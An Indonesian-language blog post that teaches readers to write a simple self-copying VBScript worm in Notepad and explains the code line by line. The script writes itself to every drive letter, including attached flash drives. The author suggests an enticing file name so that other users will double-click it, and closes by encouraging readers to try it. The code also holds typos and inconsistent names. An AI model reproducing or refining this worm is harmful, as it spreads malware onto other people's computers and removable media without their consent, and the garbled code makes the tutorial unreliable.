Postingan kali ini saya akan membahas tentang cara membuat worm sederhana dari notepad. Pembuatan virus ini akan menyebar pada drive yang terpetakan oleh computer korban yang terkena worm ini.dalam pembuatan worm ini hal pertama yang kita lakukan adalah membuat daftar atau pengulangan drive yang akan diinfeksi. Pengulangan ini berguna jika ada flashdisk yang dihubungkan ke computer tersebut. Maka worm akan memeriksa keberadaan virus di dalam flashdisk tersebut, dan jika tidak ada worm akan membuat salinan dirinyakedalam flashdisk tersebut.
Cara untuk mendapatkan drivenya dengan menggunakan nilai ASCII dari masing –masing drive yang digunakan, kemudian nilainya ditambahkan dengan satu dan sekaligus mengecek keberadaan virus pada drive dan jika tidak ada maka infeksi akan dilakukan.
Lankah yang kita lakukan dalam membuat virus sebagai berikut :
1. Bukalah jendela program notepad, kemudian tulislah kode worm berikut ini
on error resume text
set
fso=CreateObject (“Scripting.FileSystemObject”)
setworm=fso.OpenTextFile (Wscript.ScriptFullName)
wormku=worm.ReadAll
do
if second (now)=7 then
for r = 65 to 90
drife=chr (r) &”:\”
if fso.FileExists (drife & “SCIENCE_GLOBAL.VBS”)=false then
set infect=fso.CreateTextFile (drive & “SCIENCE_GLOBAL.VBS”)
infect.write wormku
infect.close
else
end if
next
end if
loop
simpanlah file tersebut dengan nama datafile.vbs, sebenarnya nama file ini bisa anda ganti agar setiap user yang membuka menjadi penasaran dan membuka file worm ini dengan mengklik ganda.
Arti dari kode worm diatas adalah :
on error resume text
set
fso=CreateObject (“Scripting.FileSystemObject”)
Berarti : mendefenisikan variable fso sebagai CreateObject atau membuat file script VBS. Perintah ini harus selalu ada dalam worm yang dibuat dengan menggunakan VBS.
setworm=fso.OpenTextFile (Wscript.ScriptFullName)
Berarti :mendefenisikan variable worm untuk membuka worm.
wormku=worm.ReadAll
Berarti : membaca isi semua dari file tersebut.
do
berarti : perulangan
if second (now)=7 then
Berarti :jika detik sekarang adalah tujuh.
for r = 65 to 90
Berarti : Variabel r diisi dengan nilai ASCII dari karakter A – Z.
drife=chr (r) &”:\”
Berarti : Drive sama dengan nilai karakter Code dari 65 sampai dengan 90
if fso.FileExists (drife & “SCIENCE_GLOBAL.VBS”)=false then
Berarti : Jika file DIAN SASTRO.vbs di drive tidak ada maka
set infect=fso.CreateTextFile (drive & “SCIENCE_GLOBAL.VBS”)
Berarti :membuat file nya.
infect.write wormku
Berarti :menginfeksi virus
infect.close
Berarti : menutup filenya
else
Berarti : Jika ada yang lain
end if
Berarti : tidak perlu melakukan aktifitas apapun.
next
Berarti : Drive selanjutnya.
end if
Berarti : Akhir dari if
loop
Berarti : perulangan
JIka worm tersebut diaktifkan dengan mengklik ganda, maka setiap detik menunjukkan angka 07 virus akan membuat file SCIENCE_GLOBAL.vbs disetiap drive yang ada. Proses penggandaan ini akan dilakukan terus menerus selama detik dalam jam system menunjuk angka 07.
Jika anda ingin melihat hasilnya, anda bisa mengecek dengan mengklik ganda file SCIENCE_GLOBAL.vbs. Aktifkan juga jam system widows, perhatikan apa yang terjadi di drive-crive computer anda setelah jam system menunjuk detik ke 07. Bahkan jika ternyata terdapat flash disk yang aktif (terpasang), maka flashdisk pun akan terinfeksi file c. Selama worm ini aktif, maka meskipun file SCIENCE_GLOBAL.vbs dihapus, setiap kali jam system menunjukkan detik ke 07 maka worm ini akan menggandakan dirinya lagi. Atau meskipun anda sudah menghapus file datafile.vbs proses infeksi masih terus dilakukan. Untuk mengatasi masalah ini dilakukan dengan menghentikan wscript melalui jendela Task Manager. SELAMAT MENCOBA
Read more...
